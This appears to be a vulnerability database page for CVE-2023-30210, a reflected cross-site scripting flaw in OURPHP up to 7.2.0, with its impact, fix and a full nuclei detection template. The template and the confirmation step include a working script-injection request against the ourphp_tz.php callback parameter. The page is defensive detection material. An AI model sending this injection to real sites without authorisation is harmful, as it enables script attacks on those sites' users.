HexBrain

Browse / CVEs / CVE-2023-30210

CVE-2023-30210· ourphp / ourphp· CWE-79

OURPHP <= 7.2.0 - Cross Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it

OURPHP <= 7.2.0 is vulnerable to Cross Site Scripting (XSS) via /client/manage/ourphp_tz.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of OURPHP (7.2.1 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/client/manage/ourphp_tz.php?act=rt&callback=<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "barmemCachedPercent" and "swapPercent" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-30210 -u <target>

The full check
id: CVE-2023-30210

info:
  name: OURPHP <= 7.2.0 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    OURPHP <= 7.2.0 is vulnerable to Cross Site Scripting (XSS) via /client/manage/ourphp_tz.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of OURPHP (7.2.1 or higher) to mitigate this vulnerability.
  reference:
    - https://www.ourphp.net/
    - https://wanheiqiyihu.top/2023/03/27/OURPHP-v7-2-0-ourphp-tz-php-Reflection-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30210
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30210
    cwe-id: CWE-79
    epss-score: 0.01173
    epss-percentile: 0.67755
    cpe: cpe:2.3:a:ourphp:ourphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ourphp
    product: ourphp
  tags: cve2023,cve,xss,ourphp,unauthenticated,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/client/manage/ourphp_tz.php?act=rt&callback=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "barmemCachedPercent"
          - "swapPercent"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from